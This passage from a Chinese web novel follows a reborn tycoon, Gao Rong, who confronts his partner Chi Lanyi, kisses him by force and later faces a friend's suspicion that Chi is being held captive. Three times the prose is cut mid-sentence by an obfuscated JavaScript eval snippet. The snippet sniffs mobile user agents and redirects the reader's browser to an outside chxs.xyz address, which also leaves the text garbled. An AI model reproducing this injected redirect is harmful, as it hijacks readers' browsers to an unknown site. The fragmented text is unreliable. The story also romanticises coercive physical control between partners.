“不会是公司账目吧?你怕我在你的公司里弄点手段?可你看得懂么?”高嵘又说。 忽然,他的眼里多出了点自嘲的悲凉:“我忘了,你或许看得懂。毕竟在我走后……你应该会活很多年吧。你是个聪明的人,这么多年,你总会学会看账目的——在那个时候,你是不是觉得自己更不需要我了?” “……” 池兰倚一句话也没有说。他只是呆呆地看着高嵘,就像他只是因为梦游来到这里的。 就像他什么——都不知道。 或者,他让自己什么都不知道。 高嵘看着一脸空白的他,闭了闭眼,忽然大步走了进来。 “池兰倚,你总是这样,只要听见你不想回答的话,你就假装什么都听不见。怎么样,账目那种东西还没资格被放在这里。你在这里发现了什么东西?”高嵘说,“我的日记?我和你大学学院院长的通信记录?柜子里我买下的、所有你曾经送我的那些东西?还是那双你曾经丢掉、又被我买回来的短靴?” “……” 沉默,只是沉默。 “看来,还是得由我来开口。”高嵘说。 他走向书桌,拉开一个抽屉,动作很大,让桌面上的其他东西都跳了一跳。 抽屉里,几叠信件却收得整整齐齐。 “该从什么时候说起呢?七年前,我给你的学院院长写了一封信。我告诉他,我打算给你们学院捐点东西。但希望他能找一个学生,带我参观学校。”高嵘说,“我让他找的那个学生就是你。” “……” “那天我提前了十分钟到地方,是你们学校的门口,喷泉水池的确很漂亮,它还没有在一年后被拆除,所以这次,我看见了。”高嵘道,“十分钟后,你从花坛那边走过来。和熟悉的人相处时,你经常拖延和迟到。但对于陌生人,你都会到得很准时。很好,这一次我们是陌生人。” “你穿了一件黄色的毛衣。鹅黄色?米黄色?我记不得那些术语,我在你擅长的事情上还是没有天赋。你看上去垂头丧气的,阳光照着你脸颊上的汗毛,你的嘴角有点伤心。我那时候就想,你和你的室友的关系,应该还是不怎么样。要不然,你就是又和你的老师吵架了。” “……” “你带着我在你的学校绕了两圈。手机里存着你的演讲稿,所以你每讲一句,都会紧张地低头看一眼,即使如此,你还是讲得磕磕巴巴,就像你当年和我讲你的商业计划时一样。当我纠正你说错了某栋楼的名字时,你露出了很震惊的表情。你大概不知道,在你不知道的时候,我已经来过这座你说过的学校里很多次,在下午走过许多次那座会报时演奏的钟楼——当然,不是为了偶遇到你。学校那么大,我又没有找任何人,我怎么可能偶遇到你呢。关于这一点,难道我自己不明白吗。” “以上,是我们这一世的第一次相遇。你应该没有对我留下什么印象。因为那时我,也只是想要确认你究竟处于什么样的状态。” 高嵘抚了抚陈旧的信封:“我想你那时候一定在心里尖叫,心想为什么院长要交给你这样一个你不想去做也不擅长的任务。三个小时,你如坐针毡。当然,我也没对你多好。在邀请你去一起吃晚饭,而你拒绝我时,我没有坚持,而是放过了你。这一下午的尴尬,还有之后的脚痛,就当成是你的第一个报应了……” 说到这里时,高嵘的心脏忽然有点微微被揪紧。 他想,一定是因为这个房间里的灰尘太多了。 “反正,你一直都不爱运动,走那一下午回去后,你的脚痛不痛?” 不自觉地,他说出了这句话。 那个下午的参观,分明是七年前发生过的事情。可放在高嵘嘴里,却那样真实详细,分毫必现。 可他怎么会忘记呢。 抽屉里的这几封信,旁边展示柜抽屉里,池兰倚那天带着他买到的几个纪念品,还有夹在那本画册里的,那天他离开学校时,摘下的一朵干花。 人的记忆是最不靠谱的东西。总有一天,即使是殚精竭虑如高嵘,也会忘记许许多多的细节。 尤其他还要花费十年时间,走上高家最高的位置。 所以,他需要记忆的锚点。 就像那朵干花,就像那几封信,就像那两个从学校里带走的钥匙扣。 他把与池兰倚有关的所有回忆、所有细节都留在了这件屋子里。池兰倚的遗憾、经历过的事情、池兰倚不喜欢的东西…… 这一世的池兰倚在找到这个房间的时候,还认得出来这是那个安全屋吗?他还认得出来,这是属于少年时和青年时的高嵘的房间吗? 前世,高嵘曾经在这里放入很多东西。 紫金公学圣诞舞会“国王”的奖杯,第一次投资成功的交易记录,花了两整天喷漆改装的模型,少年时拥有的第一辆、最后被接走它的表弟不慎撞毁的跑车的方向盘,他从紫金公学毕业时的照片…… 关于池兰倚的一切,一点一滴,汇聚如海啸般,渐渐淹没了高嵘原本放在这里的,属于他的东西。 就连那张他的毕业照也被淹没在纱幕背后。就像照片上自信傲慢的少年,也终于变成了一个心事重重的弄权者。 他让高嵘的安全屋面目全非,就像他曾经让上一世的高嵘也变成了一个,完全不像高嵘自己的人。 无论是哪时哪世,无论池兰倚记不记得曾经发生的历史,池兰倚总是有着这样摧枯拉朽的、对于他而言的摧毁能力。 所以,他一定要报复他。 还好,他只是在报复他。 高嵘想,他只是为了在要报复他时,永远能想起如今是什么时候,如今自己该做什么。他会记住每个细节,对症下药。 于是,他得以在与池兰倚的摊牌中,有条不紊。 如同在开口之前,这些话都曾在高嵘的心中被念过千遍万遍。 “还有这双鞋。” 高嵘放过了那封信,他把一双鞋从柜子的底部拿了出来。 这双鞋没什么特别的。它漆黑,基础,虽然版型不错,面料极好,但也随处可见。 可它对于高嵘和池兰倚而言,都有更加特别的意义。它沉甸甸地,被高嵘放在房间中央。 上一世,它也曾像这样,被放在一家咖啡厅里,被高嵘让人递给初次见面的池兰倚。 池兰倚没有把它带走,就像这一世,它也最终只是留在了这个房间里。 “我又把它买回来了,在五年前,你从医院里醒来时。”高嵘说,“我没有让司机帮我去买,而是自己去的。很有意思,我还记得司机说过的它的价格——没想到之前,我还被他吃了一千的回扣。” “……” 高嵘看着窗帘,他眼神空茫,像是陷入了回忆。 “你从医院里醒来后,整整三天,缩在被子里,一句话都不说。只有听见救护车的声音时,你会开始尖叫——还有手术推车的车轮声。我不得不拜托护士,让她们帮你换个听不见救护车声音和手术推车声音的房间。但你太不配合了,任何人只要想把你拖出被子里,都会被你抓一脸。” “你曾经和我说过,在被父母以去教会礼拜为由,骗进医院做治疗时,你受到了很大的伤害。在被朋友背叛、被学校背叛、被教授不信任后,你没想到,你的父母比起你被剽窃的作品,更相信的是你不良的私生活,和勾引老师的传闻。” “只是……我没想到……在避免了那么多事情后,你的反应,还是那么大。” 高嵘忽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14795212|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然觉得,自己的喉咙变得干涩了。 他开始很难让自己把话说完。 或许,房间里的灰尘实在是太多了吧。毕竟,在他把关于报复池兰倚的一切都放进这个房间后,他就再也没让佣人进来打扫过。 每次,都是他自己进来打扫。 “虽然不知道,之前,你是怎么从那样的世界里走出来的。但我决定把你弄出来,我不可能由着你。”高嵘让自己集中注意力,“我不可能由着你,我不是为了让你感到开心,才回来的。” 于是不知不觉间,他走到了那家鞋店门口。 买下了那双曾被池兰倚抛弃过的鞋子。 即使,他本可以买一双更贵的,这才配得上那个和他闹矛盾的“伟大远见者”池兰倚;又或者,他可以买一双更便宜的,以羞辱这个心比天高的背叛者。 可他在那堆货架里……还是第一眼看见了它。 如果初遇曾从它开始,那么,报复的开始,也应该从它开始。 这才是属于他们的那双鞋。 “我把这双鞋拿给你,强行把你从被子里拉了出来,逼你穿上这双鞋,跟着我走。无论你怎样发抖,怎样想后退,我都没允许你回到你的病房里、回到你的被子里。因为,这是你应得的。恐惧、尖叫、还是残酷的世界,一切都是。”高嵘说,“没想到吧?这是一双曾被你丢掉的鞋,到头来,还是这一双。” “我没有放过你。从来都是。” “你还想听我说更多的吗?” “还是,你无言以对?” 他低着头,看着那双鞋。忽然间,他狠狠一脚,将它踢到墙上。 而后,他转向池兰倚,面目狰狞。 “你为什么一句话都不说?” 他一步步逼近池兰倚,将那个不断后退的青年压在墙上。他按住对方可能反抗的手,狠狠掐住对方的下巴。 池兰倚像是被吓傻了一样。他表情空白地看着高嵘。 高嵘想,他醒来时,恨死池兰倚了。 恨不得把他剥皮拆骨,恨不得让他永坠深渊,做一个爬不出地狱的贫民。 让池兰倚为了生计奔波,让池兰倚胆怯地推销,让池兰倚穿着起静电的衣服,腿上染满颜料,做一个穷困的画家,不得不站在路边兜售画作,对每天都来光顾的自己露出笑容,或者高傲地推销。 ——也总好过让池兰倚在此刻,在他的家里,对他一言不发。 说点什么吧。他想。 他也这样说了。 “说点什么吧。”他平静地看着池兰倚,“池兰倚,说点什么吧。” 昏暗里,池兰倚的眼眸里终于有了颜色。池兰倚惶惶地看着他,终于开口了。 “你冷静点,高嵘。我只是下楼后迷路了,不小心进入了这个房间。”池兰倚说,“如果我不经你允许进入这个房间惹到了你,你大可以好好和我说话。” 池兰倚还在装。 这个狡猾的骗子。 高嵘的手掐紧了。池兰倚吃痛,他氤氲眼眸里终于染上了愤怒。 “我从头到尾都没听懂你在说什么。什么参观信,什么鞋。”他恶狠狠地说,像是猫露出了锐利的牙齿,“别把我当成一个犯人一样,你想逼我承认什么吗?” 池兰倚…… 高嵘就连呼吸也停滞住了。 那一刻,池兰倚愤怒的样子,逐渐与记忆里他离开那座小楼时,池兰倚和自己争吵的模样重合。 【“离开你我也能过得很好。”】 那时的池兰倚这样说。 是啊。 他一定在自己离世后,度过了完满的一生。他一定有很丰富的生活、很好的爱人、很辽阔、也很伟大的人生。 所以,他才能在自己面前,装作自己走过奈何桥时喝下了那碗汤。 所以,他才能在自己面前明知故问,直到现在还在假装忘记了一切。 于是那一刻,高嵘真的恨不得掐开池兰倚的嘴强吻他,让他闭嘴。 如果什么实话都不想说,那就再也不要说话了。 然而。 豆大的泪珠,忽然砸在了他的手上。 高嵘顺着湿润的那一点,慢慢地抬头。 那是池兰倚的眼泪。 16.砸空 许幽等在门廊处,满面焦急。 如果让高家之外的上层圈子的人看见她这副模样,一定会大吃一惊——早在几十年前,从许幽成为高平晟的妻子开始,这个聪敏的女人便再也没露出过冷静之外的表情,总是以成竹在胸的模样示人。 然而,在远远地看抓着池兰倚的高嵘出现在走廊上时,她甚至当着几名惊诧的佣人的面,一路快走,赶到了两个人的身边。 “我听管家说,你们要走了?”她看着两人。 高嵘不语。他站得很直,眼眸垂着,许幽看不懂他的表情。 而池兰倚——这个美丽的青年被高嵘拽着手臂。这是个会让人不舒服的姿势,而许幽也清楚地知道,这个青年的脾气有多么固执。 可他低着头,用落下的额发藏住了自己的眼睛。 那张永不收敛的脸也被藏在了围巾里,就像一场永不停息的大雪后,洁白的雪地藏住了属于城市的一切。 许幽在那一刻,忽然有一种感觉。 眼前的这两个青年,拥有一个独属于他们的世界。在那个只有他们两个人的世界里,他们拥有着只有彼此才能知道的独特的秘密。 于是,即使知道今天早上发生的求婚,即使听见了方才在B座三楼里发生的争吵,即使,在得知他们突然要离开的第一时间,急切地跑到这里—— 她也再不能分享属于他们的世界里的一分一毫。 她只能站在属于他们的世界之外,看着高嵘把池兰倚推进了车里。直到高嵘关上那一侧的车门后,她才跑到高嵘身边,追着他问了一句话。 “你还冷静吗?你的计划,还在吗?”她犹豫着,最终只说了这一句。 高嵘直直地站在车门旁。他看着远处的群山,姿态和昨天晚上与许幽密谈时,全然不同。 “我很冷静。我知道自己在做什么。”他说。 “那就好。我还以为你们打起来了。”许幽松了一口气,“今天早上向他求婚的也是你,突然吵起来的也是你。这么多年了,我从来没见过你这样。” 即使是以年轻人谈恋爱的动静来论,高嵘的反应也有些吓人了。 不过,如果不是有一个池兰倚,许幽几乎会忘记自己的儿子也只是个三十岁的青年。 他在商场上的做派,往往会让她觉得,他已经四十多岁了。 想了想,她又说:“虽然不知道你想做什么,但平晟那边我让他安静下来了。高家其他人只怕会有些小动作。” 在听见这些话后,高嵘微微动容:“谢谢母亲。” “还有。”许幽还是放心不下,她看了一眼车里的池兰倚,又嘱咐高嵘,“没事就别那么拽他。他身体弱,比不上你,你又不是不知道。他又不是你的仇人。别欺负人家。” 到时候池兰倚受伤了,还得是高嵘自己麻烦。 这次,高嵘久久没有说话。 他站在门边,一动不动。直到天上开始下雨,雨丝落在他的睫毛上。 他知道。 池兰倚的身体比他弱,他怎么会不知道。 他刚刚,把他弄痛了吗? 高嵘转眼看向车厢之内。池兰倚坐在后座上,堵气般地把头偏着,埋在围巾里。 雨落在他面前的车窗上。他垂着眼,就像已经睡着了一样。 池兰倚瘦弱,不健身,没精力,这些高嵘都知道。 只需要轻轻一掌,他就能把他按在车上。 但是,为什么,无论获得了多少成就,无论有多强的体力。 他低头,看向自己的虎口。那里,似乎还有被一滴眼泪烫伤的痕迹。 为什么他却觉得——被一下烫伤,就溃不成军的人是自己呢? 池兰倚,为什么就是不肯承认,他已经如自己一般地重生了呢? 他坐回后排,沉默片刻,将纸巾递给池兰倚。 池兰倚不接。 就在车辆开始行驶的一瞬间,原本仿佛在装睡的池兰倚,忽然开口了。 “谢谢你带我离开这里,我讨厌死这个庄园了。” 池兰倚仍旧闭着眼。他高傲地,仿佛自己才是主导的胜利者一样地说着。 而且,他把纸巾砸到了高嵘的身上,非常用力,就好像他才是那个受伤的人。 …… 黑色轿车驶出高家的湖边庄园,它开出群山、开出树林,缓缓将许幽连同高家所有人抛在了身后。 开过漫长的高速路,开过渡江大桥,远处高楼耸立的地方,就是A城。 城东高楼林立,是高嵘们的金融大厦。 城西种满香樟枫林,是艺术馆和博物馆。 一条大道横贯城东与城西之间。他们的轿车就行驶在这条大道上。 道路两侧人流繁杂,轿车之中,却是寂静无声。 轿车驶入栅栏门内,一栋漂亮的白色别墅亮起了灯光。 他们到了。 “高先生,车停在车库里了。”司机通过话筒,对隔音板内的后座说。 片刻后,音响内有声音传来:“你下车吧。” 在车门关闭声再度响起后,沉默了一路的高嵘忽然发难! 在幽暗的车厢内,他拽住池兰倚,把他拉到了自己的身前。 而后,他对着那张让他爱恨交叠的脸,狠狠地吻了下去。 没有人知道这辆黑暗中的轿车里正在发生什么。高嵘拽着池兰倚的手腕,狠命地吻着他,常年健身的高大身体在这时起了作用,他按着对方细瘦的腰,就像恶狼按着自己的猎物。 唇舌之间渐渐有了血的味道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799635|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 他把池兰倚的嘴唇咬破了。而且,池兰倚也把他的舌头狠狠咬破了,比他还要用力。 交织的血味好似刀戈相交的罗曼史,又似一场从未结束的战争的延伸,硝烟与疼痛四起,爱恨没有一刻比这时更加激烈分明。直到某一刻时,高嵘一愣。 他慢慢地、慢慢地停下了动作。 因为有小小的、温软的东西,正在小心地舔着他的嘴唇。 那是池兰倚的舌尖。 高嵘终于放开了池兰倚的手腕。他借着车内昏暗的灯光看向池兰倚,但只是片刻。 很快,他如被烫伤了一般,转开了眼睛。 只有疼意和血味在舌尖蔓延了。生锈的、淡淡的咸味。这都是池兰倚带来的。 无论是今日的浅浅的血,还是前世的痛不欲生。 而今天,至少这血里,这痛里,还有池兰倚的一份。 身后传来窸窸窣窣的声音。是池兰倚在动。 池兰倚要下车了。高嵘想。 他的身体却没有转回来。 直到一双温软的手,从背后伸过来。 它们没有打开车门,而是从背后抱住了他。 细瘦的青年抱着高嵘。他闭着眼,将脑袋也埋在高嵘的肩膀上。像是一只依恋他的小动物。 他的手指那样细瘦纤长,好像前世今生,他都没学会吃好饭。 高嵘垂下眸,他的眼前,忽然有点朦胧。 “你疼么?”他低声道,“池兰倚,你和我一样疼么?” 雨点落在车库之外,像是把高嵘的心也砸空了一块。 高嵘想,他不该以直接摊牌的方式逼迫池兰倚说清楚的。 为什么那么咄咄逼人的是他,最后感到被伤害的人,还是他自己? 无论高嵘在想什么,抱着他的、温软的小动物没说话。 池兰倚的嘴角破了。他一定也很疼。 高嵘想。 高嵘转过身。他面对面地抱池兰倚,小心翼翼地蹭池兰倚的身体,在确认对方完全不抗拒后,温柔地去吻他的嘴唇。 没有丝毫侵/略性的,比起情/欲,更像是两个人之间柔和的安抚。 他们小心地不碰彼此的伤口,像是碎掉的一枚瓷器,在寻找彼此的碎片,慢慢重新吻合起来。 终于,在这个吻结束后,高嵘看见了池兰倚的眼睛。 池兰倚看着他,那双眼睛在暗处莹莹的,含着点朦朦胧胧的东西,像是一片雾气,又像是一片谜题。池兰倚好像褪去了方才的高傲和倔强,像是山林中的湖水一样。 最终,池兰倚开了口。而筹划着新方案的高嵘,听见了什么东西碎裂的声音。 “高嵘,我是不是又需要去看心理医生了?” 他听见池兰倚茫然地说。 17.正常 作为一名模特,巫樾很忙。 当他想起来自己已经很久没有收到池兰倚的信息时,已经是整整十天以后了。 而他和池兰倚的短信记录,还停留在七天前的一段。 “你认识私家侦探吗?” “你找私家侦探做什么?” 最后一条短信,是半天后池兰倚发来的:“没什么。不用了。” 巫樾尝试性地问身边的人。所有人对池兰倚最后的记忆,都停留在那场占据了整整半张报纸的许幽的生日宴。正规报纸尚且拘谨,八卦小报却揣测得火热,纷纷讨论起池兰倚出现在高家的生日宴上是为了什么,究竟是要分手,还是好事将近。 “池兰倚又不是没有闭门造车的时候。”同在摄影室的方衡翻了个白眼,冷冷道,“一个人,门一关,窗帘一放,谁知道他在干什么。以前大学时又不是没有这样的情况。他莫名消失一个月,我去他公寓敲门死活找不到人,最后发现是他一个人背着包跑到国外森林里去寻找灵感了。” “但现在不一样了。他不只是个艺术家了,还是个公司老板。他要负责的已经不止他自己,也不只是一间小工作室了。”巫樾说,“从他成为一名创业者开始,他就不可能再像从前一样,拥有突如其来地消失一个月的权力了。” 巫樾手指抚摸着漆黑的手机屏幕,想到几天前的短信,只觉得心神愈发不宁。 “我得去他家找他。” 方衡耸肩:“反正你的活儿干完了。你想去的话,随便你。我五点还有事。” 他低头看了一眼自己的手表。和池兰倚的性格截然不同,他严谨、冷静。因此很多人都认为,尽管和池兰倚同窗四年,又在同一个行业里深耕三年,他们的关系都不会太好。 但在巫樾急急忙忙地起身时,方衡忽然道:“对了,你把这个拿给他。” 巫樾回头,出现在方衡手里的,是两封请柬。 “你的聚会?”巫樾问。 “两封请柬。你先把一张给池兰倚。如果高嵘不让他单独来,你再把剩下那张给高嵘。”方衡硬邦邦地说,“记住了,我尽可能地不想让高嵘过来。” 巫樾接过那两张请柬,有点犹豫地开口:“这么多年了,你怎么还是那么讨厌高嵘。” 面对巫樾的询问,方衡只是靠在墙上。他衣着笔挺,耸了耸肩。 “我并没有单独地讨厌高嵘这个人。我只是不喜欢他和池兰倚在一起。”方衡冷淡地说,“他太想让池兰倚成功了。但池兰倚很难成为一个成功的创业者。” 巫樾:“啊??” 成功? 巫樾觉得,高嵘想让兰倚成为他的附庸还差不多。有他在,兰倚连卡都不会刷。而且池兰倚询问过他们俩的感情问题,总不可能是空穴来风。 面对巫樾的质疑,方衡只是挑了挑眉:“在决定做设计师之前,我是从数学系转过来的。” 巫樾:“所以?” 方衡:“在数学系,我的GPA是4.0,做纯数。无论表面上有多少花里胡哨的模糊条件,抽象的本质结论,只有一个。” “啊?” “简单地说,我比你聪明。”方衡道,“我懒得说了。你多吃点保健品吧。” ……世界上怎么会有这样让人无语的人。难怪池兰倚和他老是吵架。 巫樾懒得理方衡那些抽象言语。他把两张请柬塞进兜里,跳上轿车,直奔池兰倚家。开车前,他发了条短信:“池兰倚,你现在到底怎么样?我来你家找你了。” 收件箱空空荡荡,始终没有回答。 不会真出事了吧……巫樾琢磨上次在古董行里发生的事,觉得越来越有迹可循。被控制的金丝雀,名流夫夫背后的秘密,消失了十天的池兰倚…… 车前大门缓缓打开,巫樾毫无察觉。 直到一条短信弹出来:“门给你打开了,你在干什么。” 巫樾:“在打110。” 对方:“……” 巫樾看了一眼,又看了一眼——这消息不池兰倚发过来的吗?!他立刻回复:“你怎么了?” 对方:“直接进来吧。” 巫樾:“我不敢进来,我怕你老公把你囚/禁了,要把我灭口。电影里都是这么演的。” 对方:“……” 巫樾:“你真是池兰倚啊?你不会是高嵘吧?我警告你,我是买了五份高额人身保险的。你要是敢杀我,整个A城的保险公司都要破产。” 大门就在巫樾面前缓缓关上了。巫樾急忙发消息道:“哎哎,你别关门啊,我马上进来!” 巫樾迅速开进别墅。大门刚关上他就后悔了。巫樾一边吞口水,一边想起自己有两份保险都是在高嵘投资的保险公司买的,看在几千万的份上高嵘也不敢把自己怎样。而且他还有个毕业于宾夕法尼亚大学的朋友,且姓路。 心里乱七八糟想了一大堆,巫樾下车时还是不自觉地拿了根撬棍下来防身。推开别墅没上锁的大门,巫樾看见客厅里漆黑一片。就在他东张西望时,走廊尽头传来声音:“我在这里。” 整个家里就这儿开着门缝,亮着点灯。 巫樾匆匆闯入。原本窝在沙发上的池兰倚立刻站了起来。美貌青年瞪大了眼睛:“你来干什么的?” 巫樾:“来救你啊!” 池兰倚:“你拿撬棍干什么?” 巫樾:“武器。” 池兰倚又坐下去了。巫樾提着撬棍在他身边打转:“我靠……这一路上真恐怖。你还活着呢?他殴打你了吗?他把你绑起来了吗?他给你吃什么药了吗?” 听完前两句话,池兰倚的脸就腾地红了:“你说什么乱七八糟的东西……” 巫樾这时候才看清楚池兰倚身处的环境。 这个房间大概是用来做活动室的,里面铺满地毯,有几坨懒人沙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804677|156942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发,几排书柜,大屏幕,还有一台亮着电脑的桌子,几盆绿植,暖黄的灯光温馨,旁边工作台上还有一大块没有完成的、色彩艳丽的苔藓地毯,一点不像巫樾想象中的囚禁室。 池兰倚面前甚至还摆着一本秘密花园的画册。从四处散落的水笔和沙发、做了一半的苔藓地毯来看,池兰倚应该已经在这里窝了好多天了。 全世界都在外面找池兰倚,池兰倚就一个人窝在这里玩儿涂色? 巫樾还是十分怀疑。他看见池兰倚低着头在找东西:“你说药……哦,我把它们放在这儿了。” 他从沙发底下扒拉出几个杂七杂八的药瓶来,光是看它们的收纳位置就知道,池兰倚铁定没吃。巫樾表情有点凝重,他觉得自己是个侦探,事情肯定没有表面上那么简单。 “是不是房间里有监控,所以你什么都不敢说?”他谨慎地问,“高嵘对你做了什么吗?” 两个药瓶在此刻滚到了巫樾的脚下。池兰倚的表情凝固了一下,匆匆捡起药瓶:“没有。他……” 巫樾还在巡视这个看起来正常的房间,突然间,他三步作两步地冲向一个角落,掀开一块黑布,瞪大了眼睛。 “你还说他没对你做什么!”他大声道,“我都看到了!” 池兰倚顺着他的目光看过去。 黑布下一个造型古怪的黑色架子上,赫然铐着一副银光发亮的手铐。 池兰倚:…… 这东西怎么被收到这里来了! 巫樾不由分说拉起了池兰倚。这个比池兰倚高一个头的阳光灿烂的帅哥第一次展现出了常人所不能及的强硬。他一手拖着他,一手举着撬棍:“走,我们赶紧离开这里!” 巫樾觉得自己完全明白了! 这些天来,池兰倚就被囚禁在这里。他不能去工作室工作,不能去公司上班,表面上,他和书籍switch为伴,还能躺在豆包沙发里做手工,实际上,他一直都被铐在这个架子上啊! 什么让巫樾进来,什么“我很好”,都是阴谋!都是高嵘想要透过他的嘴,让外人以为池兰倚还很好的阴谋。池兰倚如今只是被短暂地放开,只要巫樾一离开,池兰倚就又会被铐在架子上了! 难怪池兰倚会问他,高嵘是不是真心爱他。可悲他巫樾是个局外人,始终看不明白啊! 这世上还有比高嵘更会玩弄权术的商人吗?万恶的资本主义! 巫樾拽着池兰倚往门外走。可池兰倚显然是太害怕了,他竟然抗拒地往回缩。巫樾是不可能惯着他的,勇敢的他一定要把困在黑暗里的池兰倚拖到光明之中,揭露高嵘的阴谋。可恶的高嵘,他就知道资本家怎么会有爱情,自古以来小说里的资本家都是无法无天、囚/禁人的法外狂徒。 然后。 “高嵘,你回来了?” 卧槽。 巫樾心都凉了。他举着撬棍,一眼看见了刚从门外回来的高嵘。 18.你回来啦。 “巫樾,你来找池兰倚玩儿?” 高嵘站在房门口,还没有换鞋,一脸古怪地看着他们俩。他穿着笔挺的西装,仿佛刚从一场重要会议里出来。但他的手里,居然提着一束新鲜的百合花。 花瓣上还带着晶莹的露珠,显然是在回家的路上专程下车,从路边花店里买回来的。 来找池兰倚玩,来找池兰倚玩,来找池兰倚玩……巫樾心里一凉,看见了自己泡在别墅蓄水池里的画面。 “当啷。” 池兰倚:…… 巫樾:…… 举在巫樾手里的撬棍,摔到地上去了。 高嵘探究的目光从巫樾身上又挪到了池兰倚身上。他进门换鞋,看见巫樾又抖了一下,道:“门口太冷了,不进去谈谈?” 巫樾吞了一口口水,又觉得自己也是个一米八几的大男人,到底谁怕谁啊。而且他可是买了五份保险的。 “你的撬棍。”在他转身时,肩膀被东西拍了拍。 竟然是高嵘捡起撬棍,若有所思般地把撬棍递给他。 巫樾:…… 他带着池兰倚坐到客厅沙发上,气势一下子怂了下来。高嵘背对着他们,泰然自若地把百合插进花瓶里,换好了水,才回到客厅坐下。 想不到这些换水换花的工作竟然是高嵘在做……巫樾诡异地看着高嵘,高嵘亲自做这种事,有点超越他的认知了。 “说说吧。”高嵘道,“你好像有话想对我说?” 他冷峻强势得好像他是此间的主人……不,高嵘确实是这栋房子的主人。 巫樾鼓足气势,冷冷道:“我们、所有人,已经很久没见过池兰倚了。” “哦。”高嵘说,“他上周刚和心理医生见过。” 巫樾:“一定是你监视着他去见的!” 高嵘挑了挑眉毛,他看了一眼池兰倚:“我把他送到楼下,是他自己进去的。我没有窥视别人隐私的爱好。而且是池兰倚非不让我进去的,是不是?” 池兰倚坐在巫樾身边,他低着头,很快地“嗯”了一声。 巫樾:“怎么可能,池兰倚竟然知道怎么去见医生和开药……” 不,他这样说话,不就默认池兰倚是生活不能自理的弱智了吗。巫樾连忙转换了话题:“为什么整整十天,你都不让池兰倚去公司?” 高嵘看着池兰倚道:“我也想知道,我到底还需要处理那些属于你的工作多久。虽然你本来也没有许多事务性工作要做。” 巫樾:……? 高嵘:“或者至少,你弄个电子签名出来。我不想再每天找人来回家里几次,把文件拿给你签了。” 巫樾:“……那他,为什么没有出席任何社交场合?比如陈文的聚会。” “你忘了池兰倚说过,他觉得那个导演是个傻叉了吗?”高嵘道,“哦,我代表池兰倚给他送了点礼品维护关系。毕竟完全得罪一个人不太好。如果你想知道的话。” 巫樾卡了又卡:“池兰倚不出去吃饭的吗?” “你可以问问池兰倚,这几天的饭是谁给他端进房间里的。”高嵘的脸色忽然变得阴沉了一点。 ……准是保姆吧,难道还能是高嵘。巫樾又道:“那买东西呢?” 高嵘说:“有秘书,还有网络。” 池兰倚好像真的没有什么出门的理由。可难道他真能把工作上的事全都堆到高嵘身上,让高嵘帮他做了吗?高嵘又不是慈善家!巫樾忍不住阴阳怪气:“听起来高先生可真是一位二十四孝好男友啊。” 非常奇怪的,在听见这句话后,原本好整以暇的高嵘的表情变得难看了起来。好像他非常讨厌这句“夸赞”似的。 巫樾接着道:“但我不相信,池兰倚是自愿被你关在家里的。” 就这么一句话,让高嵘的脸色变好了一点,尤其是那个“不自愿”。他说:“嗯?有何赐教。” ……这本该是吵架时常用的阴阳怪气,可巫樾竟然听出了一点愉悦。 面对夸赞阴沉着脸,面对质疑如沐春风。巫樾被神秘到了,他觉得事情非常诡异,一时间有了点面对变态杀人狂的害怕。 但他还是梗着脖子,勇敢地说了:“那房间里的那枚手铐是什么?” 高嵘的表情凝固了一下。 男人似乎也在回忆。而这是池兰倚却忽然开始从巫樾的手里疯狂地抽手。巫樾觉得池兰倚一定是在害怕了。他捏紧了撬棍,想要给池兰倚一点面对对方的家庭暴力的力量。 “噗。” 忽然间,高嵘笑了起来。 “哈哈……哈哈哈……”认识这么久,巫樾还从来没见过高嵘这样大笑过。高嵘笑了许久,看向池兰倚道:“你和他说说,那枚手铐和那个架子,是用来干什么的。” 巫樾看向池兰倚。美丽青年被他握着手腕,看起来整个人都要羞耻得被烫熟了。 高嵘却看着池兰倚这副羞愤欲死的模样。他舔了舔嘴唇,眼里闪过一道暗光。 …… “所以,你真是扔下公司,一个人在家里窝了十天?!”巫樾不敢相信自己的耳朵,“天啊,你居然做这么任性的事情。” 池兰倚压着声音,小声道:“我在寻找灵感……还有,别再问那个手铐的问题了……” 高嵘从门外进来了一次。他吻了一下池兰倚的侧脸,道:“晚饭一会儿就好。你今天做了什么?” 池兰倚将色彩繁复的填色画册向高嵘展开,眼睛亮闪闪的。 “画了这个。” “哦。”高嵘道,“我看看。不打扰你们聊天了。” 他把画册拿走了。 池兰倚和巫樾在活动室内说话。高嵘坐在客厅里,他摊开画册,枝繁叶茂的巨树在他眼前展开。 向两侧展开的树枝如两只巨臂,垂吊着数只鸟笼。 鸟笼是蓝色的。 